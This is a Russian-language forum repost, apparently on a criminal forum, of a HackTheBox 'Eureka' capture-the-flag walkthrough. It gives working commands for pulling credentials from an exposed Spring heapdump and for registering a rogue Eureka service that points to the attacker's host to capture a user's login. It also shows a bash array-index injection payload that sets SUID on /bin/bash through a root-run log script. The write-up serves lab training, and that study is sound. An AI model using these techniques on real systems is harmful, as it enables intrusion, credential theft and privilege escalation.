• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем веб-сервер с Netflix Eureka

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,332
Розыгрыши
0
Реакции
622
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как получить приватные данные из дампа кучи Spring Boot, а затем завладеем доступом к системе Eureka. Через ее сервисы извлечем приватные данные пользователя и сессию на хосте. Для повышения привилегий используем уязвимость в пользовательском анализаторе логов.
Наша конечная цель — получение прав суперпользователя на машине Eureka с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.66 eureka.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 8.2p1;
  • 80 — веб‑сервер Nginx 1.18.0;
  • 8761 — сервис Eureka.
На порте 80 выполняется редирект на домен furni.htb. Добавим его в файл /etc/hosts и просмотрим сайт через браузер.

10.10.11.66 eureka.htb furni.htb
Главная страница сайта
Главная страница сайта

Точка входа​

Запускаем сканер Для просмотра ссылки Войди или Зарегистрируйся, который поможет быстро определить, какие технологии используются на веб‑сервере.

nuclei -u [URL]http://furni.htb[/URL]
Для просмотра ссылки Войди или Зарегистрируйся
Nuclei определил доступный эндпоинт Spring actuator/heapdump, который предоставляет дамп кучи из JVM-приложения. Скачиваем дамп и парсим с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся. Там мы сможем найти различные важные данные вроде секретов и даже паролей.

wget [URL]http://furni.htb/actuator/heapdump[/URL]

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
В итоге находим учетные данные для базы MySQL и для сервиса Eureka, который работает на порте 8761.

Главная страница Eureka
Главная страница Eureka

Ссылки в сервисе Eureka дальше нас не продвинули, мы получаем одну и ту же страницу с ошибкой.

Ошибка Eureka
Ошибка Eureka
Учетные данные для MySQL позволяют нам авторизоваться и по SSH.

Сессия пользователя oscar190
Сессия пользователя oscar190

Продвижение​

На хосте ничего интересного мы не видим, поэтому поработаем с Для просмотра ссылки Войди или Зарегистрируйся. В поисках информации об этом сервисе находим хорошую статью Для просмотра ссылки Войди или Зарегистрируйся, в которой можно найти эндпоинты для подключаемых приложений, а также примеры запросов.

Справка из статьи
Справка из статьи
Ручка /eureka/apps отдаст нам XML-файл со спецификациями подключенных приложений Eureka.

curl [URL]http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps[/URL]
Конфигурационный файл
Конфигурационный файл

Внимание привлекает приложение USER-MANAGEMENT-SERVICE. Судя по XML, приложение связывается с хостом 10.10.11.66:8081.


Код:
<name>USER-MANAGEMENT-SERVICE</name>
    <instance>
      <instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
      <hostName>localhost</hostName>
      <app>USER-MANAGEMENT-SERVICE</app>
      <ipAddr>10.10.11.66</ipAddr>
      <status>UP</status>
      <overriddenstatus>UNKNOWN</overriddenstatus>
      <port enabled="true">8081</port>
      <securePort enabled="false">443</securePort>
      <countryId>1</countryId>
      <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
        <name>MyOwn</name>
      </dataCenterInfo>
      <leaseInfo>
        <renewalIntervalInSecs>30</renewalIntervalInSecs>
        <durationInSecs>90</durationInSecs>
        <registrationTimestamp>1748491386459</registrationTimestamp>
        <lastRenewalTimestamp>1748528161423</lastRenewalTimestamp>
        <evictionTimestamp>0</evictionTimestamp>
        <serviceUpTimestamp>1748491386459</serviceUpTimestamp>
      </leaseInfo>
      <metadata>
        <management.port>8081</management.port>
      </metadata>
      <homePageUrl>http://localhost:8081/</homePageUrl>
      <statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
      <healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
      <vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
      <secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
      <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
      <lastUpdatedTimestamp>1748491386459</lastUpdatedTimestamp>
      <lastDirtyTimestamp>1748491385683</lastDirtyTimestamp>
      <actionType>ADDED</actionType>
    </instance>

Возьмем параметры XML-файла и переделаем его в формат JSON по примеру из блога. Вместо ipAddr и port, а также всех указанных адресов используем адрес своего хоста. На локальной машине открываем порт 8081 и делаем запрос к приложению /eureka/apps/USER-MANAGEMENT-SERVICE.

Код:
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
  "instance": {
    "instanceId": "USER-MANAGEMENT-SERVICE",
    "hostName": "10.10.14.47",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.14.47",
    "status": "UP",
    "port": {
      "$": 8081,
      "@enabled": "true"
    },
    "securePort": {
      "$": 443,
      "@enabled": "false"
    },
    "countryId": 1,
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    },
    "homePageUrl": "http://10.10.14.47:8081/",
    "statusPageUrl": "http://10.10.14.47:8081/actuator/info",
    "healthCheckUrl": "http://10.10.14.47:8081/actuator/health",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "secureVipAddress": "USER-MANAGEMENT-SERVICE"
  }
}'

Спустя несколько секунд в логах листенера видим запрос авторизации, в котором передаются учетные данные пользователя miranda.wise.

Логи листенера
Логи листенера
На удаленном сервере из файла /etc/passwd получим список пользователей с командной оболочкой.

cat /etc/passwd | grep bash
Пользователи с консолью
Пользователи с консолью
Подключаемся по SSH от имени miranda-wise и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Текущий пользователь состоит в группе developers. Нам нужно собрать информацию, которая поможет в повышении привилегий. Я буду использовать для этого скрипт из набора PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загружаем на удаленный хост скрипт для Linux, даем право на выполнение и запускаем сканирование. Затем смотрим, что интересного нашел скрипт.

Каталог /var/www/web принадлежит группе developers.

Содержимое каталога веб-сервера
Содержимое каталога веб‑сервера
В каталоге /opt есть скрипт log_analyse.sh.

Содержимое каталога /opt
Содержимое каталога /opt

Так как ничего доступного для нашего пользователя мы не нашли, посмотрим, какие процессы запускаются в системе. Для этого я рекомендую использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся. В ее выводе находим запись о запуске найденного скрипта, но, что более интересно, он запускается в контексте пользователя с UID=0, а это root.

Вывод утилиты pspy64
Вывод утилиты pspy64

При этом скрипту при каждом запуске указываются разные логи из каталога web с различными сервисами, к которым у нас есть полный доступ.

Содержимое каталога web
Содержимое каталога web

Давай глянем на скрипт log_analyse.sh. Он поочередно вызывает четыре функции, но интерес вызывает только analyze_http_statuses.

Код:
analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

Тут есть вот такая интересная строчка:

if [[ "$existing_code" -eq "$code" ]]
Здесь значение для переменной code извлекается из файла и используется в сравнении. А раз мы можем контролировать содержимое логов, то и значение переменной code тоже.

Однако, если мы просто подставим вместо кода команду HTTP Status: $(echo cmd), она не выполнится, так как Bash не будет воспринимать объект Shell как число и сразу выдаст ошибку. Для проверки можно использовать слега измененный скрипт.

Код:
#!/bin/bash

STATUS_CODES=(
    "200:3"
)

analyze_http_statuses() {
    local log_file="$1"

    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        echo $code
        found=0
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            echo "start"
            if [[ "$existing_code" -eq "$code" ]]; then
                echo "if"
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                found=1
                break
            fi
            echo "finish"
        done

        if [[ "$found" -eq 0 ]]; then
            STATUS_CODES+=("${code}:1")
        fi
    done < <(grep "HTTP.*Status: " "$log_file")
}

LOG_PATH="test.log"
analyze_http_statuses "$LOG_PATH"

Ошибка выполнения команды
Ошибка выполнения команды
Мы можем использовать команду как индекс массива:

HTTP Status: mass[$(echo cmd > test)]
Тогда Bash сперва выполнит команду для получения индекса, а только потом выдаст ошибку. Ошибка нам не важна, так как наш вставленный код выполнится.

Результат выполнения команды
Результат выполнения команды

Переходим на удаленную машину и перезаписываем лог. Будем назначать S-бит файлу командной оболочки.

rm -rf /var/www/web/cloud-gateway/log/application.log ; echo 'HTTP Status: mass[$(chmod u+s /bin/bash)]' >> /var/www/web/cloud-gateway/log/application.log

Справка: бит SUID​


Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Проверяем права файла /bin/bash и видим установленный S-бит.

Права на файл
Права на файл
Запускаем новую сессию от имени рута и читаем последний флаг.

/bin/bash -p
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу